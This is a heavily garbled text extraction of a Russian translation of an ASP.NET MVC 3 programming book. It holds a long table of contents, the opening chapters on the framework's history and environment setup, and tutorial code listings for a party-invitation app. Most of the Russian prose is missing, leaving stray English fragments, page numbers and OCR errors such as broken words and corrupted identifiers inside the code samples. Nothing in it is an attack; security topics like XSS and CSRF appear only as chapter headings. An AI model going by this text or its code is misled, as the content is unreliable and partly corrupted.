Вы находитесь на странице: 1из 662

I. ASP.

NET MVC3

19

1.

20

2.

34

3. MVC

44

4. MVC

69

5.

95

6. , MVC

125

7. SportsStore:

151

8. SportsStore:

182

9. SportsStore:

225

II. ASP.NET MVC 3

265

10. MVC

266

11. URL,

283

12.

331

13.

364

14.

390

15.

417

16.

459

17.

487

18.

507

19. Ajax

545

20. jQuery

567

III. ASP.NET MVC 3

595

21.

596

22.

613

23.

639

663

I. ASP.NET MVC3

17
17
18
18

-------

1.
-
ASP.NET Web Forms
ASP.NET Web Forms
-
- REST

Ruby on Rails
Sinatra
Node.js
ASP. NET MVC
MVC

HTML HTTP


ASP.NET
A PI-
ASP. NET MVC
ASP. NET MVC
ASP.NET Web Forms
Web Forms MVC
Ruby on Rails
MonoRail
ASP. NET MVC 3

20

20
21
22
23
23
24
25
25
26
26
27
27
28
28
29
29
30
30
31

31
32
32
32
33
33

2.

34


Visual Studio 2010

34
34

-

-

35
37
38
39
39

40
42
43

3. M VC

44

ASP.NET MVC


-









44
46
48
48
49
51
53
53
54
55
57
59
63
66
68

4. MVC

69

MVC
MVC

ASP.NET- MVC
MVC

-






MVC



69
70
70
71
72
72
76
77
77
78
80
81
82
83
84
85
86
93
94

5.

95

C#



-


L1NQ
Razor

Razor

95
95
98
99
104
106
106
107
113
114
116
124

6. , M VC

125

Ninject

Ninject





Ninject ASP.NET MVC
Visual Studio


( )

Moq
Moq Visual Studio
Moq
Moq
Moq

126
127
128
130
131
132
133
134
135
137
137
139
143
144
144
145
145
148
149
150

7. SportsStore:

151


Visual Studio

DI













Entity Framework
Product


URL


CSS

152
1 52
15 4

154
156
157
157
1 58
15 8
15 9

160
161
162
162
163
163
164
165
167
168
1 69
176
177
1 77
1 78
179
181

8 . S p o rts S to re :

182



U R L




182
182
185
186
193
195
196
199

200
202
205










Cart

205
209
209
210
212
212
213
216
218
219
222
222
224

9. SportsStore:

225


C R U D


225
226
227
228
230

233
244
246
248




Account




Entity Framework


Getlmage

248
249
251
252
253
256
256
257
258
258
259
260
262
263

10

II. A S P . N E T M V C 3

265

10. MVC

266

MVC Visual Studio


- -
MVC
MVC

Visual Studio
Visual Studio
Edit and Continue

266
270
270
272
272
273
274
277
280
282

11. URL,

283



URL


URL

URL





URL

URL
URL
URL

RouteBase






URL
URL
g e t p o s t :

283
284
285
287
290
292
295
297
298
300
7.
306
308
309
310
310
316
317
318
318
322
323
323
325
326
328
328
328
330

12.

331



IController
Controller

331
331
331
332






HTML-



XML
JSON

HTTP

11

334
334
336
338
339
343
346
350
354
355
356
357
360
361
363

13.

364

364
366
366
367
372
376
381
386
389

14.







Def aultControllerFactory




REST

,

390
391
391
393
393
394
395
396
398
399
400
403
405
406
408
416

15.

417


IV iew
iV iew E n gin e

Razor

417
419
420
421
423

12

Razor
Razor

Razor

HTML
HTML
HTML
HTML








423
425
427
428
429
434
434
436
437
450
452
453
453
454
455
457
457
457
458

16.

459


HTML-







V i e w D a t a . T e m p l a t e l n f o



459
463
465
472
474
477
478
479
480
481
482
483
485
486

17.

487

487
488
489
490
493

474

496

497
498
499
499
500
502
502


M o d elB in d er

13

505
505
506

18.

507

507
509
511
515
516
516
520
524
525
528
529
531
534
536
541
544

19. Ajax

545

Ajax MVC

Ajax
Ajax
Ajax
Aj

Aj

Ajax-

Ajax
JSON
JSON
JSON
Ajax
JSON-

545
545
548
549
sso
551
551
553
554

20. jQuery

567

567
569
571
572
574
575
577
579

jQuery
jQuery-
jQ uery
OcHOBbijQueiy
jQ u eiy
jQ uery
jQ u eiy

555
556
558
560
561
562
563
564
566

14

D O M

579

jQ uery-, CSS
DOM
jQ uery
j Query
jQ uery UI
HajQ ueryUI

589

III. ASP.NET MVC 3

595

21.

596


-
HTML-
. XSS-
HTML Razor

JavaScript- XSS-

IP-
HttpOnly cookie-

CSRF Antiforgery
SQL-


-
MVC Framework

596
598
599
600
601
601
604
606
606
606
607
7
0
608
610
610
611
611
611
611
612
612

22.

613

Windows


-

613
615
616
619
619
621
628
631
636
637
638




URL
IP-

581
583
587
588
590
591
592
594

15

2 3 .

639




bln-
Web .conf ig

IIS
-


- , IP-




639
639
640
641
642
651
654
654
654
655
655
655
657
657
658
661
662

663

, ,
, .

, ,
.

17



,
, ,

.

.

.NET.

Microsoft
-
(Web Platform and Tools),
- Microsoft
. -
,
,
-.

http://github.com/SteveSanderson.


/
, Microsoft.
(www.brainforce.it) Brain Force (www.brainforce.com).
Microsoft
.NET (Microsoft Certified Solution Developer for .NET),
Microsoft .NET (Microsoft Certified Application Developer
for NET), Microsoft (Microsoft Certified
Professional), .

10 ,
.

18

Apress
. ,
(Jennifer Blackwell) (Ewan
Buckingham) .
, (Fabio Claudio Ferracchiati),
, .


, , .
, ,
.
, .
.
, -
. , ,
, ,
.
, ,
.
.
:
E-mail:

inf 00 will iamspublishing.com

WWW:

http://www.williamspublishing.com

:
:

127055, . , . , . 43, . 1

03150, , / 152

ASP.NET 3

ASP.NET MVC
- Microsoft.
, ,
, -.


, 0CH0ByASP.NET MVC 3,
.

S 5.NET MVC - Microsoft,


--" (model-view-controller MVC),
, ASP.NET.
ASP.NET Web
Forms, -,
. , Microsoft
ASP.NET MVC,
, , ASP.NET MVC 3.

-
ASP.NET MVC,
- , . - Microsoft
, , .
. 1.1,
.
1.1. - Microsoft
*

Common Gateway
Interface (

) (CGI)*

-,
(

)

Microsoft Internet
Database
Connector (

) ()

SQL

1996 .

Active Server
Pages (

) (ASP)

1.

21

. 1.1

2002,
2003 .

ASP.NET
Web Forms
(-
ASP.NET) 1.0/1.1

HTML

2005 .

ASP.NET Web
Forms 2.0

2007 .

ASP.NET AJAX

2008 .

ASP.NET
Web Forms 3,5

2009 .

ASP.NET MVC 1.0

2010 .

ASP.NET MVC 2.0


ASP.NET
Web Forms 4.0

2011 .

ASP.NET MVC 3.0

* CGI - ,
. NCSA (National Center
for Supercomputing Applications ).

ASP.NET Web Forms


2002 ASP.NET .
Microsoft, , . 1.1.
Web Forms Microsoft HTTP (
), HTML (
),
, .
(
View State ( )),
HTML-, (
, )
. Web Forms ,
,
-.
, - W in d o w s
Forms.
HTTP;
. -
,
, , ,
, .

22

I. ASP.NET MVC 3

. 1.1. ASP.NET Web Forms

ASP.NET Web Forms


ASP.NET W eb F o rm s ,
. W e b Forms
.

View State.
( V ie w S tate)
.
-, -
,
.
.
,
, .

, View State
,
.
. (codeb e h in d ) A SP.N ET HTML .
,
(,
) (,
) .
.

1.

23

HTML-.
HTML-,
HTML, . ASP.NET 4 HTML-
-
(Cascading Style Sheets CSS),

, JavaScript.
ASP.NET 4, HTML- .
. Web Forms HTML
HTTP, .
,

HTML-. ,
-.
. ASP.NET ,

. ,
.
.
ASP.NET . 2.0
, ,
. Ajax 2007 . Microsoft
Web 2.0/AJAX,
. , ASP.NET 4,
HTML-,
.

-
Microsoft Web Forms -
. A j a x
.

- REST
- . -
,
- , - (HTML, CSS, JavaScript ..)
-
( ).

-.

HTTP REST (Representational State Transfer
), SOAP (,
-, ASP.NET). REST
(URI),
, ( HTTP),
. , PUT

24

I. ASP.NET MVC 3

h t tp ://w w w .e x a m p le .c o m /P r o d u c t s /L a w n m o w e r

d e l e t e

http://

w w w .e x a m p le .c o m /C u s t o m e r s /A r n o ld - S m it h .

- HTML-;
JSON XML
, AJAX, Silverlight .
REST ,
- -,
HTTP URL, ASP.NET Web Forms.


-
(agile)
. ,

,
, .
, ,
(
), .
(test-driven de
velopment TDD)
(behavior-driven development BDD).
, ( ,
),
,
. .N E T , T D D / B D D ,

, Web Forms.

.
,
,
. ,
Web Forms.

, ,

Web Forms. .


. Web Forme,
, .
, Web Forms
HTML ,
.
(independent soft
ware vendor ISV)
(NUnit MBUnit),
(Rhino Mocks Moq), (Ninject AutoFac),
(Cruise Control TeamCity), -

1.

25

(NHibemate Subsonic) ..
,
ALT.NET.
ASP.NET Web Forms ,

.

Ruby on Rails
2004 . Ruby on Rails ,
. ,
-. , Ruby on Ralls
, ,
, , ,
.
Ruby on Rails ( Rails, )
MVC. MVC HTTP,
,
- (object-relational map
ping ORM) Rails
. ,
-: , , ,
, , , .
Ralls , - REST
. ,

, .
- .

Sinatra
Rails, -,
Ruby .
Rails .
, Sinatra, 2007 .
Sinatra Rails (
, , ..) URL
Ruby. URL.
Ruby, . -
, . -,
, -, REST,
( REST 14). -,
Sinatra HTML
ORM,
-,
.
, Sinatra
MVC-, Rails ( ASRNET MVC).
,
- , , Sinatra
,
.

26

I. ASP.NET MVC 3

Node.js
JavaScript
. A J A X JavaScript;
jQueiy , ; JavaScript-
V 8 Google ,
. JavaScript
.
, CouchDB Mongo,
, Node.js.
Node.js 2 0 0 9 ..
. Sinatra ,
M VC. H T TP - .
.

JavaScript.
, ,
CouchDB ..

. API- Node.js
-
. - ,
-.
, Node.js
(
,
100 ).

Sinatra, Node.js .
,
, ,
Ruby on Rails ASP.NET M V C . Node.js ,
ASP .N E T M V C
, ASP.NET M V C (00
1 4 ). H T T P
-
. , , ASP.NET M V C
JavaScript, ( 18,
19 20).

ASP.NET MVC
ASP.NET , ,
- , , . Mieresaft
Web Forms, .
2 0 0 7 . ALT.NET , . , Microsoft (Scott Guthrie)
- M V C . ASP.NET
, Ralls,
Web Forms. ,
Web Forms A S P . N E T
.

1.

27

MVC
MVC ASP.NET MVC.
MVC (model-view-controller --)
1978 . Smalltalk,
Xerox PARC
- .
MVC
: ,

. .
-,
HTTP.
-, (
, , HTML ),
,
MVC.
* ASP.NET MVC MVC
. ASP.NET MVC
MVC, -.

4.
MVC, ASP.NET MVC
Ruby on Ralls , MVC
.NET. ,
, , ASP.NET MVC
, Rails.

,
,
. ,
,
, , , .
MVC
.NET
, , ,
,
.
MVC Framework ASP.NET MVC
.
( ) ,
( ).

.

.

28

I. ASP.NET MVC 3

ASP.NET 2.0,
MVC. ,
, 10.

HTML HTTP
ASP.NET MVC
. HTML
,
Web Forms.
HTML-, MVC
, CSS .
,
,
, ASP.NET MVC "
,
jQuery Yahoo YUI. JavaScript
, , jQuery ,
ASP.NET MVC
, jQuery ,js
CDN (Content Delivery Network ) Microsoft.
jQuery 20.
ASP.NET MVC View State,
ASP.NET Web
Forms. ,
.
Ruby on Rails, ASP.NET MVC g HTTP: , ,
. AJAX ,
. ,
, ,
.

,
, MVC.
.
ASP.NET MVC .
-
,
.
Visual Studio
(
, NUnit xUnit,
MSTfest Microsoft).
, .
,
ASP.NET MVC,

.

1.

29

. ASP.NET
MVC ,
.
, , ,
HTML-, CSS
, .


-
URL-. URL :
/App_v2/User/. aspx?action=show%20prop&prop_id=82742
, ,
:
/ to -r e n t/ c h ic a g o / 2303 - s i l v e r - s t r e e t
, URL-. , , URL,
. rent in Chicago ( )
URL. -, -
, URL,
. -, -
URL-, ,
. -,
,
, , ,
, ).
U R L - ,

ASP.NET MVC System .W eb.Routing, URL . URL


,
URL- .
, , URL
REST, .
URL 11.

ASP.NET
ASP.NET Microsoft ,

-.
,
ASP.NET M V C .NET, ,
.NET. API-,
M V C , -NET,
.NET .
-, ASP.NET, -,
, , , ,
,
, MVC ,
Web Forms. ASP.NET

30

I. ASP.NET MVC 3

Web Forms,
ASP.NET ( ,
Web Forms , View State).
. ASP.NET
Visual Studio -
, - Internet Information Services (IIS),
Windows , Windows Vista, Windows 7 Windows Server. IIS 7,
- .NET
,
AS P. NET.
ASP.NET. MVC . 23 ,
ASP.NET MVC IIS
Windows Server.

API-
2002 . Microsoft .NIST
, .
AS .N 1ST MVC 3 .NET 4, API-
,
, -, ,
LINQ (Language Integrated Query ).
API- MVC Framework
, .

ASP.NET MVC
- Microsoft,
ASP.NET MVC ,
. ,
,
( , ).
, ,
,
.
,
,
,
.
. ASP.NET
MVC Microsoft (Microsoft
Public License Ms-PL; h ttp :/ / w w w .o p en so u rce.o rg / licen sesy m s-p l.h tm l),
,
(Open Source Initiative OSI).
, ,
. Microsoft ,
. Microsoft ,
.
MVC h t t p ://a s p n e t .c o d e p l e x .c o m /.

1.

31

ASP.NET MVC
,
ASP.NET M V C .
M V C .
,
, MVC, ,
.
. -
,
,
.

ASP.NET Web Forms


,
ASP.NET Web Forms, , ASP.NET M V C .
, Web Forms . Microsoft
, ,
Web Forms.
.
.

W eb Forms ,
. HTTP H T M L
,
View State .
Windows Forms,

( ]

, .

M V C
HTTP, , .
. M V C
-.
, -
, ,
.

Web Forms , , ,
, , M V C . ,
, ,

(w iz a r d ). ,

Web Forms, ,
.
,
, .',
, MVC.

32

I. ASP.NET MVC 3

Web Forms MVC


ASP.NET Web Forms,
MVC, ,
.
,
, Web Forms
-.
,
.

Ruby on Rails
Ruby on Rails ,
-. , Microsoft .NET,
ASP.NET MVC,
, Python Ruby Linux Mac OS X,
Rails. , Rails ASP.NET
' MVC .
.
Rails , ..
, ,
ORM
.
, ASP.NET MVC
- MVC .
ORM,
. .
.NET
, . ,
ORM, NHibernate, Subsonic, M i c r o s o f t E n t i t y F r a m e w o r k
.
.NET, ,
ASP.NET MVC. Rails.

MonoRail
MonoRail MVC- - NET, i
Castle ,
2003 . MonoRail ASP.NET MVC

MonoRail , Rails-
ASP.NET, ,
Microsoft.
MonoRail . , (
- .NET

, . (
ASP.NET MVC MonoRail .
- .NET ASP.NE1
MVC.

1.

33

ASP.NET MVC 3
MVC 3
Razor (Razor View Engine). MVC
ASP.NET, <% %> ASP.NET (
ASP.NET, , ,
).
Razor

, . Razor

.
- , Microsoft
, Razor MVC. . , Razor
.
Razor MVC 3.
Visual Studio .
JSON
JavaScript, jQueiy.

,
CGI ,
, .
, ASP.NET Web Forms - Microsoft 2002 ., -,
Microsoft - .
, ASP.NET MVC ASP.NET Web
Forms,
, ,
.
MVC ,
, . 7
,
, ,
.

2 . 40.49

, MVC,
.
, ,
, , .


MVC
. Visual Studio 2010, -
(Web Platform Installer) , IIS Express.
, .

Visual Studio 2010



MVC Visual Studio 2010. Visual Studio
Microsoft (IDE), , , , , - M icrosoft.
M ic ro s o ft V is u a l S tu d io 2 0 1 0 ,

.
:
Visual Studio 2010 Professional
Visual Studio 2010 Premium
Visual Studio 2010 Ultimate
,
. Visual Studio Windows-
,
.

V is u a l W e b D e v e lo p e r E x p r e s s
M icrosoft Visual Studio, Express.
- V is u a l W e b D e v e lo p e r
2010 Express.

. ,
MVC, , , ,
Visual Studio.

2.

35

Web Developer Express MVC,


, NUnit
(http://www.nunit.org).
NUnit , ,
Web Developer Express . ,
MVC , Web Developer Express,
,
.
Visual Studio 20 10 Ultimate Edition 7.8
, .
,
, , . 2.1.

. 2.1. Visual Studio


Visual C# Visual W eb Developer.
Visual Studio S Q L Server 2 0 0 8 Express,

, , .
, ,
Visual Studio , ,
, , . 2.1, ,
M VC. Visual Studio,
.NET 4 , ,
.
! Visual Web Developer Visual Studio 2010
MVC 2. .
, MVC 3.

Microsoft . , Visual Studio 2 0 1 0


M V C 2.

36

I. ASP.NET MVC 3

( MVC 3)
- (Web Platform Installer WebPI).
WebPI , Microsoft,
-
Microsoft. ,
.
WebPI, http://microsoft.com/we)/clownloacls
, . 2.2. ( Microsoft
,
- .)

. 2.2. -
. ;
WebPI.
Windows, WebPI. -.
WebPI , ,
. 2.3.

. 2 .3 . Web Platform Installer

2.

37

.
Products (). ,
,
:
Visual Studio 2010 SP1
SQL Server Express 2008 R2
ASP.NET MVC 3 Tools Update ( ASF2.N E T MVC 3)
Add ().
Install (),
.

WebPI SQL Server Express


, .
, ,
WebPI .


,
: MVC Framework, IIS Express SQL Server 2008 Management Studio
Express. ,
.

MVC Framework
Microsoft MVC Framework
. MVC Framework, ,
,
.
MVC h ttp :/ / a s p n e t.
" d e p le x .c o m . , Microsoft ,
, , .

IIS Express
Visual Studio -,
MVC Framework.
, .
, , ASP.NET
Development Server ( ASP.NET),
, IIS. ,
5SL (Secure Sockets Layer ). , IIS,
Visual Studio, ASP.NET Development
Server.
IIS Express,
, ,
IIS. IIS Express ..

,
. IIS Express ,
: Visual Studio 2010 Service Pack 1.

38

I. ASP.NET MVC 3

SQL Server 2008 R2 Management Studio Express


, ,
Visual Studio,
SQL Server. SQL Server 2008
Management Studio WebPI.


MVC. ,
. MVC Framework
IIS. Microsoft.

. MVC,
,
23.

IIS Windows, ,
Windows Vista Windows 7. MVC
. Windows
, -,
. Windows
Server. Windows Server 2008 R2,
IIS 7.5, .
! MVC 3 IIS 6,
Windows Server 2003 2003 R2. IIS 6 ,
h t t p ; //haacxea.com /

a rch ive/ 2 0 0 8 / ll /26/asp. n e t-m v e -o n -iis -6 -w a lk th ro u g h , a spx.


,
,
MVC Framework: Web Server (-), .NET
F ra m e w o rk 4 W eb D e p lo y m e n t Tool, - -

. ,
Windows Server. Windows
Server IIS IIS (IIS Learning Center)
h t t p : / / w w w . i i s . n e t , .

___________________ __________________
,
. ASP.NET
.

.
,
. ,
ASP.NET 4.
MVC 3 Framework , .
, 23

2.

39

-
, - (IIS) m e Windows Server. Server Manager ( ) 5 Add Roles ( ) Roles Summary ( ),
. 2.4.

. 2.4. Windows Server


Add Roles W izard ( ).
( Windows Server 2008 R2).
W eb S erver (IIS) Next ().
, , . Web Server (IIS). , :

ASP.NET ( A pplication D evelopm ent ( )):

M anagem ent S ervice ( ) ( M an ag em en t Tools (


)).

ASP.NET .
MVC. Management Service
Web Deployment (-),
.
,
. . Install.

IIS, . URL-
(h tt p :/ / lo c a lh o s t ),
(h t t p \//MoPi_windows_cepBep).
, IIS 7.5, . 2.5.


WebPI
. :

.N E T F ra m e w o rk 4

Web Deployment Tool 2.0


MVC Framework .NET 4,
.
- 23. W e b
Deployment Tool MVC.
,
.

40

I. ASP.NET MVC 3

. 2.5. IIS
SQL Server Express 2008 R2. SQL
Server Express . Mixed
Mode Authentication ( )
sa. .
, MVC Framework ,
,
. ,
. 23.
! WebPI ,
. , AS P .N E T M VC, .N E T 4
.
SQL Server
, IIS. , 23
,
. SQL Server.

-
23 , Wet) Deployment
M V C Framework .
, IIS .
! Web Deployment ,
MVC Framework
.
. http://learn.
iis .net/, aspx/984/configure-web-deploy.

2.

41

Internet Information Service (IIS) Manager (


), Start (). . .
. 2.6, WIN-2008R2.

. 2.6 . IIS Manager

Management Service Delegation (


j -), ,
Management () (. . 2.6). Edit Feature Settings
) , Allow administrators
cypass rules ( ) ,
. 2.7. , .

. 2 .7 . Management Service Delegation

42

I. ASP.NET MVC 3

Back (),
. Management Service (
). Enable remote connections ( ),
Start (), . 2.8.

. 2 .8 . Management Service
! Management Service

. , S e rvice s ()
S ta rtu p ( ) W eb M an ag em en t S ervice A uto m atic
() A uto m atic (Delayed) ( ( )).

Web Deployment,
URL:
https://<_>:8172/Ms D eploy .axd

Web Deployment (
h ttp s , h ttp ) 8172. ,
, ,
. (
, , , 8172.)


,
.
, ,
.
Microsoft (Microsoft Developer Network MSDN).
.NET-,
ASP.NET MVC Framework. ASP.NET
, MVC
.

2.

43

MVC Framework.
MVC Framework, CodePlex http://
aspnet.codeplex.com. , MVC Framework
, ,
.
- ASP.NET. - ASP.NET
http://www.asp.net. .
,
, Microsoft.
- IIS. IIS
. MVC Framework.
IIS,
http://www.ils.net.
jQuery. , MVC Framework JavaScript jQuery. jQ u eiy ,
http://jQuery.com http://jQueryUI.com.
1(.') s t a c k o v e r f l o w . c o m .
- http://stackoverflow.com,

, , MVC Framework.


. ,
MVC 3. 23
Framework .


.
, ASP.NET MVC Framework.
, , ASP.NET
MVC. .
, .
- , ,
.

ASP.NET MVC
Visual Studio.
New Project ( ) File (),
New Project ( ). Web,
, 3 ASP.NET MVC 3 Web Application (
AS P. NET 3), . 3.1.

. 3 .1 . MVC 3 Visual Studio

3.

45

! MVC 3 MVC 2,

. ,
,
P a r t y l n v i t e s .
. , . 3.2,
MVC.

. 3 .2 . MVC 3

Empty () , , MVC 3. Internet Application


- ) ,
.
, . Intranet Application
7-) Internet Application,
, /Active Directory.
. Empty, Use HTML5
semantic markup ( HTML5)
. .
. ! . 3.2 ,
. 1,
MVC 3 ,
Razor, .
. , ASP.NET (
ASPX), .
Visual Studio , Solution Explorer ( =) . MVC 3.
, Start Debugging (. ) Debug () (
) . . 3.3.

46

I. ASP.NET MVC 3

, ,
. 404 N o t F o u n d ( ).

. 3.3.

, ,
, Visual Studio Stop
Debugging ( ) Debug.


MVC . ASP.NET
MVC C# ( S y s t e m .
W e b . M v c . C o n t r o l l e r ).
. .
- URL .
MVC C o n t r o l l e r s ,
Visual Studio .
MVC ,
, ,
.
,
C o n t r o l l e r s Solution Explorer Visual Studio
Add (), Controller (), . 3.4.

. 3 .4 . MVC

3.

47

Add Controller ( )
SomeCo n t r o l l e r Controller name: ( :), . 3.5.
: , ,
Controller.

Scaffolding options ( )
, .
, , Template ()
Empty controller ( ), . 3.5.
! Add Controller , . 3.5,
, , 3 Tools Update
( 3). 2.
Add (), . Visual Studio
C o n t r o l l e r #- HomeController.cs
-. , HomeController
System.Web.Mvc.Controller. ,
3.1.

3.1. H o m e C o n tr o lle r
using System.W e b .Mvc;
r.anespace Partylnvites .Controllers {
public class HomeController : Controller {
p u b l i c string I n d e x () {

return "Hello, world";

}
1

,
M VC. Index,

48

I. ASP.NET MVC 3

"Hello, world". , Start D ebugging Debug


Visual Studio. Index,
. 3.6.

. 3.6.


, , , MVC
ASP.NET, , URL-
.
Visual Studio MVC,
, .
URL-, Index
HomeController:
/
/
/Home/Index

, http: //-/ h t t p : //_/


, Index HomeController.
"Hello, world.
MVC.
HomeController,
MVC. . Visual Studio
, . ~
, U R L -
. ,
.
. .
. ,
G lobal.asax.cs. 7 ,
, 11 ,
.

-
HTML-, "Hello,
world". HTML- ,
.

3. MVC

49


, In dex, 3.2.
3.2.
using System.Web.Mvc;
namespace Partylnvites.Controllers {
public class HomeController : Controller {
public ViewResult Ind e x () {
return V i e w () ;

}
)

3.2 . V ie w R e s u lt
, MVC,
. V iew R es u lt View .
MVC,
.
, , MVC
,
. 3.7.

. 3 .7 . MVC
. ,
M V C , ,

. MVC:
.
Index, , . 3.7, MVC
Views .

50

I. ASP.NET MVC 3

,
H o m e C o n t r o lle r .c s ( , )
Add View ( ).
Add View ( ), . 3.8.

. 3 .8 . Add View

Use a layout or m aster page (


-). ,
5. Add () V i s u a l S t u d i o
I n d e x . c s h t m l Views/Home.
, . 3.7, ,
.
. .c s h tm l #,
Razor.

ASPX, .aspx.
I n d e x . c s h t m l .
HTML-. ,
:
@{
Layout = n u l l ;

}
Razor.
. Razor, -
. Razor. I n d e x . c s h t m l
. 3.3 .

3. MVC

51

3 .3 . HTML-

Layout = n u l l ;
< !30CTYPE htm l>

<r.~nl >
<head>
< title > In d e x < / title >
< 'head>
ciody>
<div>
Hello, world (from the view)
< /div>
< body>
< 'html>

.
Start Debugging Debug,

. ,
. 3.9.
. 3 .9 .

Ir.dex, . , M VC
, . ,
In d e x V ie w R e s u lt , M V C,
H T M L- .
M VC, ,
.
3
, -----/ V ie w s / H o m e / In d e x .c s h t m l.
V ie w R e s u lt
. , R e d i r e c t R e s u l t ,
U R L . H t t p U n a u t h o r iz e d R e s u lt .
.

, A c t i o n R e s u l t .

.
.


, -
. M VC
, H T M L -

. .

V iew B ag . C o n t r o l l e r . V iew B ag
, ,
.
3 3 .4
.

52

I. ASP.NET MVC 3

3 .4 .
using System;
using System.Web.Mvc;
namespace Partylnvites.Controllers {
public class HomeController : Controller {
public ViewResult Index () {
int hour = DateTime.Now.Hour;
V iew B a g .Greeting = hour < 12 ? "Good morning" : "Good afternoon";
return V i e w ();

}
}

, ,
.
(. 3.5).
3.5. V ie w B a g
. - :
Layout = null;

}
<!DOCTYPE html>
<html>
<head>
<title>Index</title>
</head>
<body>

<div>
@ViewBag.Greeting, world (from the view)

</div>
</body>
</html>

3.5 Razor, ,
G r e e t in g ViewBag. G r e e t in g
.
, . ,

.
. , Razor .
0, #.
Razor.
<% %>.

, MVC,
. 3.10.

. 3.10. , MVC

3. MVC

53


MVC,
.
. MVC ,
, " .
.


,
-,
.
:
, :
, (repondez sil
vous plait RSVP);
RSVP,
;
RSVP .
MVC, ,
. ,
, HTML, , 3.6.

3.6.
(
Layout = null;

C D O C T Y P E html>
<ntml>
<head>

< t it le > ln d e x < / t it le >


</head>
<fcody>
<div>
SViewBag.Greeting, world (from the view)

<p>w e're go in g to have an e x c it in g p a rty .< b r />


(To do: s e l l i t b e t t e r . Add p ic tu re s or som ething.)
</div>
</'body>
</html>

. ,
, , ,
. 3.11.

54

I. ASP.NET MVC 3

. 3 .1 1 . HTML-


MVC model (),
. ,
, , .
, , C# (
),
, , . ,
.
MVC
,
.
P a r t y l n v i t e s ,
. G u e s t R e s p o n s e .
,
(RSVP).


MVC , ,
~/Models. M odels Solutior
Explorer Add (), Class ()
GuestResponse. cs Add (
. ,
3.7.

3.7. G u e stR es p o n s e
na m e s p a c e P a r t y l n v i t e s . M o d e l s {
public class GuestResponse {
p u b l i c s t r i n g N a m e { get; set; }
p u b l i c s t r i n g E m a i l ( get; set; }
p u b l ic string Phone { get; set;

p u b l i c b o o l ? W i l l A t t e n d { get; set; }
}
}

. , W i l l A t t e n d ,
null, .. true, f a l s e null.
.

3. MVC

55


RSVP,
In d e x .cs h tm l,
3.8.

3.8. RSVP

Layout = n u ll;

< ! DOCTYPE h t m l >

<nead>
<title>Index</title>
< /head>
<b ody>
< d iv>

@ V i e w B a g .Gree t i n g , w o r l d (from the view)


< p > W e ' r e g o i n g to h a v e an e x c i t i n g p a r t y . < b r />
(To do: sell it b e t ter. A d d p i c t u r e s or something.)
</p>
SHt m l .A ctionLink("RSVP Now", "RsvpForm")

</div>
</bod y>
< /htm l>

H tm l.A c tio n L in k HTML. MVC Framework


, HTML, , ,
. A c tio n L in k : ,
, ,
, .
HTML 15 16. . 3.12.

. 3 .1 2 .

, ,
http://sam-cepBep/Home/RsvpForm. H tm l.A c tio n L in k
URL- , /Home/RsvpForm
URL RsvpForm H o m eC on troller.
, ASP.NET, URL- MVC
.
URL, MVC Framework ASP.NET
URL .

56

I. ASP.NET MVC 3


, 404 N ot Found. ,
, URL / H o m e / R s v p F o r m .
. R s v p F o r m H o m e C o n t r o l l e r (. 3.9).

3.9.
using System;
u s i n g S y s t e m .W e b .M v c ;
nam espace P a r t y l n v i t e s . C o n t r o l l e r s

p u b lic c la s s HomeController : C o n t r o l le r {
p u b lic V ie w R e su lt

I n d e x ()

in t hour = D a te T im e . N ow . H o u r;
V i e w D a t a [" g r e e t i n g " ] = h o u r < 12

? "G o o d m o r n i n g "

"G o o d a f t e r n o o n " ;

r e t u r n V ie w ( ) ;

}
public ViewResult RsvpForm() {
return V i e w Q ;

}
}


R sv p F o r m ,

.
, ,
( G u e s t R e s p o n s e ), MVC ,
.
!

- , ,

MVC

G u e s t R e s p o n s e , , m v c
. ,
Build Solution ( ) Build ( ) Visual Studio.

,
R s v p F o r m Add View (
). Add View ( ) Create
a Strongly-typed view ( )
GuestResponse. Use a layout or master
page ( -) ,
View engine ( ) Razor, Scaffold template
( ) Empty (), . 3.13.
Add, . Visual Studio
RvspForm . c s h tm l.
H T M L -, Razor- 0model. ,

.

3.

57

. 3 .1 3 .


, ,
R s v p F o r m . c s h t m l , HTML-
G u e s t R e s p o n s e .
3.10.

3.10.
-.odel P a r t y l n v i t e s .M o d e l s .G u e s t R e s p o n s e

?
Layout = null;
<!DOCTYPE html>
<html>

<head>
<title>RsvpForm</title>

< /head>
<body>

fusing (Html.BeginForm ()) (


<p>Your name: @Ht m l .TextBoxFor (x => x.Name) </p>
<p>Your email: SHtml.TextBoxFor(x => x.Email)</p>
<p>Your phone: SHtml.TextBoxFor (x => x.Phone)</p>
Will you attend?
@ H t m l .D r o p D o w n L i s t F o r ( x = > x . W i l l A t t e n d ,

new[]

new S e l e c t L i s t l t e m () { T e x t = "Yes, I ' l l b e th e r e " , V a l u e = b o o l .T r u e S t r i n g } ,


r.ew s e l e c t L i s t l t e m ( )

{ T e x t = "No,

I c a n ' t c ome",

}, " C h o o s e a n o p t i o n " )

</p>
<input type="submit" value="Submit RSVP" />

}
< !'body>
</html>

V a l u e = b o o l .F a l s e S t r i n g }

58

I. ASP.NET MVC 3

GuestResponse
HTML, HTML-
input. - ,
input, :
@Html.TextBoxFor ( => .Phone)

, - #.
5.
HTML HTML-,
input, type text, id n ame Phone
;
Cinput id="Phone" narae="Phone" type="text" value="" />

, RsvpF o r m
, MVC, GuestResponse ,
.
- ;
:
SHtml.TextBox("Email")

- ;
. , IntelliSense Visua
Studio , !
. 3.14.

. 3.14. IntelliSense Visual Studio


- HTML
Html.BeginForm,
HTML-,
.
, ,
URL. .
#- using, :
@using (Html.B eginForm()) {
... ...

)
u s in g ,
. , ,
, ;

3. MVC

59

( using ,
.)
, H tmlBe g i n F o r m HTML form, .
Html.BeginForm , :
<form action="//RsvpForm" method-"post">
... ...
</form>

, #.

HTML.
ASP.NET Web Forms - ,
<form runat="server">,
View State . MVC .
HTML-,
. View State
, , , .

R s v p F o r m ,
RSVP Now. . 3.15.

. 3.15. RspvForm
! CSS -.
, (
, ).
MVC HTML-,
, .

MVC .


, , .
Submit RSVP
, . ,
R s v p F o r m ,

60

I. ASP.NET MVC 3

! ,

. , , ,
ASP.NET Web Forms,
. ,
MVC Framework.

. R s v p F o r m .
.
, HTTP GET. G ET ,
, - .
, -
/Hom e/RsvpForm .
, HTTP POST. ,
H tm l.BeginForm O ,
POST.
, .
GET POST C#
, .. .
URL, MVC
, GET POST. ,
H o m e C o n tro lle r, 3.11.

3.11. POST
u sin g

System ;

using

S y s te m .W e b .M v c;

using Partylnvites.M o d e l s ;
namespace
public

P a r ty ln v it e s. Controllers
class

Hom eController

p ub lic View Result

I n d e x ()

: Controller

in t hour = DateT im e. Now.Hour;


